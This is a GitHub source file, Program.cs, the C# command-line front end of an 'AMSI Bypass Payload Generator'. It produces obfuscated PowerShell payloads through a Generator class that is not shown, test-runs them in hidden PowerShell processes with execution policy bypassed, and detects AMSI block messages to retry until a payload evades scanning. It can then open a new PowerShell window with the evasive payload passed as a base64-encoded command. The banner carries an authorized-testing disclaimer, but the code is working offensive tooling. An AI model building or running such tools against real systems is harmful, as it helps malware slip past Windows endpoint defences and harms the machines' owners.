-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathProgram.cs
More file actions
343 lines (297 loc) · 14.9 KB
/
Program.cs
File metadata and controls
343 lines (297 loc) · 14.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
using System;
using System.Text;
using System.Diagnostics;
using System.Linq;
namespace AMSIBypass.CLI
{
class Program
{
static void Main(string[] args)
{
PrintBanner();
if (args.Length > 0)
{
switch (args[0].ToLower())
{
case "-h":
case "--help":
case "help":
PrintHelp();
return;
case "-f":
case "--file":
case "file":
GenerateToFile(args);
return;
case "-b":
case "--bypass":
case "bypass":
GenerateAndTestBypass(args);
return;
default:
if (args[0].StartsWith("-"))
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"Unknown option: {args[0]}");
Console.ResetColor();
PrintHelp();
return;
}
break;
}
}
// Default: Generate single payload
GenerateSingle();
}
static void PrintBanner()
{
Console.ForegroundColor = ConsoleColor.Cyan;
Console.WriteLine(@"
___ __ _________ ____
/ _ | / |/ / __(_) _ )__ _____ ___ ____ ___ ___
/ __ | / /|_/ /\ \/ / _ / // / _ \/ _ `(_-<(_-<
/_/ |_|/_/ /_/___/_/____/\_, / .__/\_,_/___/___/
/___/_/
AMSI Bypass Payload Generator
");
Console.ResetColor();
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("⚠️ FOR AUTHORIZED SECURITY TESTING ONLY ⚠️");
Console.WriteLine("Educational and research purposes only.");
Console.WriteLine("Misuse may violate laws and regulations.\n");
Console.ResetColor();
}
static void PrintHelp()
{
Console.WriteLine("Usage: AMSIBypass.CLI [OPTIONS]\n");
Console.WriteLine("Options:");
Console.WriteLine(" (none) Generate a single obfuscated AMSI bypass payload");
Console.WriteLine(" -f, --file <path> Save payload to specified file");
Console.WriteLine(" -b, --bypass [n] Test payloads until bypass found (max n attempts, default 5)");
Console.WriteLine(" -i, --inject Use with -b to inject bypassed payload into new PowerShell window");
Console.WriteLine(" -h, --help Show this help message\n");
Console.WriteLine("Examples:");
Console.WriteLine(" AMSIBypass.CLI # Generate and display payload");
Console.WriteLine(" AMSIBypass.CLI -f bypass.txt # Save to file");
Console.WriteLine(" AMSIBypass.CLI -b # Test until bypass found (display only)");
Console.WriteLine(" AMSIBypass.CLI -b -i # Test and inject bypass into new PowerShell");
}
static void GenerateSingle()
{
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("Generating obfuscated AMSI bypass payload...\n");
Console.ResetColor();
string payload = Generator.GetPayload();
Console.ForegroundColor = ConsoleColor.White;
Console.WriteLine("═══════════════════════════════════════════════════════════════");
Console.WriteLine("PAYLOAD:");
Console.WriteLine("═══════════════════════════════════════════════════════════════");
Console.WriteLine(payload);
Console.WriteLine("═══════════════════════════════════════════════════════════════\n");
Console.ResetColor();
Console.ForegroundColor = ConsoleColor.DarkGray;
Console.WriteLine("Copy the payload above and paste it into PowerShell.");
Console.ResetColor();
}
static void GenerateToFile(string[] args)
{
string filename = args.Length > 1 ? args[1] : "amsi_bypass.ps1";
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine($"Generating payload and saving to {filename}...\n");
Console.ResetColor();
string payload = Generator.GetPayload();
try
{
System.IO.File.WriteAllText(filename, payload);
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine($"✓ Payload saved successfully to: {filename}");
Console.ResetColor();
Console.ForegroundColor = ConsoleColor.DarkGray;
Console.WriteLine($"\nRun with: powershell.exe -ExecutionPolicy Bypass -File {filename}");
Console.ResetColor();
}
catch (Exception ex)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"✗ Error saving file: {ex.Message}");
Console.ResetColor();
}
}
static void GenerateAndTestBypass(string[] args)
{
// Check if -i/--inject flag is present
bool shouldInject = args.Any(a => a.ToLower() == "-i" || a.ToLower() == "--inject" || a.ToLower() == "inject");
int maxAttempts = 5; // default
// Parse max attempts from args (skip -i flag if present)
for (int i = 1; i < args.Length; i++)
{
if (int.TryParse(args[i], out int parsed))
{
maxAttempts = parsed;
break;
}
}
if (maxAttempts < 1 || maxAttempts > 200)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("Please specify a count between 1 and 200.");
Console.ResetColor();
return;
}
Console.ForegroundColor = ConsoleColor.Green;
if (shouldInject)
{
Console.WriteLine($"Starting bypass testing with injection (max {maxAttempts} attempts)...");
}
else
{
Console.WriteLine($"Starting bypass testing (max {maxAttempts} attempts)...");
}
Console.WriteLine("Testing payloads until one bypasses AMSI detection...\n");
Console.ResetColor();
for (int attempt = 1; attempt <= maxAttempts; attempt++)
{
Console.ForegroundColor = ConsoleColor.Cyan;
Console.Write($"[Attempt {attempt}/{maxAttempts}] ");
Console.ResetColor();
Console.Write("Generating and testing payload... ");
string payload = Generator.GetPayload();
TestResult result = TestPayload(payload);
if (result.Bypassed)
{
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("✓ BYPASS SUCCESSFUL!\n");
Console.ResetColor();
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine($"✓ Found working bypass on attempt {attempt}!\n");
Console.ResetColor();
Console.ForegroundColor = ConsoleColor.White;
Console.WriteLine("═══════════════════════════════════════════════════════════════");
Console.WriteLine("BYPASSED PAYLOAD:");
Console.WriteLine("═══════════════════════════════════════════════════════════════");
Console.WriteLine(payload);
Console.WriteLine("═══════════════════════════════════════════════════════════════\n");
Console.ResetColor();
Console.ForegroundColor = ConsoleColor.DarkGray;
Console.WriteLine($"Total attempts: {attempt}");
Console.WriteLine("This payload successfully bypassed AMSI detection.");
Console.ResetColor();
// Inject into new PowerShell window if -i flag is present
if (shouldInject)
{
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("🚀 Injecting bypass into new PowerShell window...");
Console.ResetColor();
try
{
// Use base64 encoded command to avoid ALL quote escaping issues
string encodedPayload = Convert.ToBase64String(Encoding.Unicode.GetBytes(payload));
var startInfo = new ProcessStartInfo
{
FileName = "powershell.exe",
Arguments = $"-NoExit -ExecutionPolicy Bypass -NoLogo -EncodedCommand {encodedPayload}",
UseShellExecute = true,
CreateNoWindow = false
};
Process.Start(startInfo);
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("✓ Bypass injected successfully!");
Console.WriteLine("\nA new PowerShell window has opened with AMSI bypassed.");
Console.WriteLine("You can now run any commands without AMSI interference.");
Console.ResetColor();
}
catch (Exception ex)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"✗ Failed to inject: {ex.Message}");
Console.ResetColor();
}
}
return;
}
else
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("✗ Blocked");
Console.ResetColor();
Console.ForegroundColor = ConsoleColor.DarkGray;
Console.WriteLine($" {result.ErrorMessage}");
Console.ResetColor();
}
}
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine($"\n⚠ No bypass found after {maxAttempts} attempts.");
Console.WriteLine("Try running again or increase max attempts.");
Console.ResetColor();
}
static TestResult TestPayload(string payload)
{
try
{
var startInfo = new ProcessStartInfo
{
FileName = "powershell.exe",
Arguments = $"-ExecutionPolicy Bypass -NoProfile -NoLogo -NonInteractive -Command \"{payload}\"",
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true
};
using (var process = Process.Start(startInfo))
{
// Read streams asynchronously to avoid deadlock
var stdoutTask = process.StandardOutput.ReadToEndAsync();
var stderrTask = process.StandardError.ReadToEndAsync();
process.WaitForExit();
string stdout = stdoutTask.Result;
string stderr = stderrTask.Result;
// Combine all output for checking
string combinedOutput = (stdout + " " + stderr).ToLower();
// Check for AMSI block messages (case-insensitive)
bool isBlocked = combinedOutput.Contains("malicious content") ||
combinedOutput.Contains("blocked by your antivirus") ||
combinedOutput.Contains("this script contains malicious") ||
combinedOutput.Contains("blocked by amsi") ||
combinedOutput.Contains("amsi scan") ||
(combinedOutput.Contains("amsi") && combinedOutput.Contains("block"));
// Non-zero exit code often indicates an error
bool hasError = process.ExitCode != 0;
// If blocked by AMSI or error occurred, it's not bypassed
if (isBlocked || (hasError && !string.IsNullOrWhiteSpace(stderr)))
{
string errorMsg = isBlocked ? "AMSI blocked the payload" : "PowerShell execution failed";
return new TestResult
{
Bypassed = false,
ErrorMessage = errorMsg,
ExitCode = process.ExitCode
};
}
// Success: No AMSI block detected and no errors
return new TestResult
{
Bypassed = true,
ErrorMessage = "",
ExitCode = process.ExitCode
};
}
}
catch (Exception ex)
{
return new TestResult
{
Bypassed = false,
ErrorMessage = $"Execution error: {ex.Message}",
ExitCode = -1
};
}
}
}
class TestResult
{
public bool Bypassed { get; set; }
public string ErrorMessage { get; set; }
public int ExitCode { get; set; }
}
}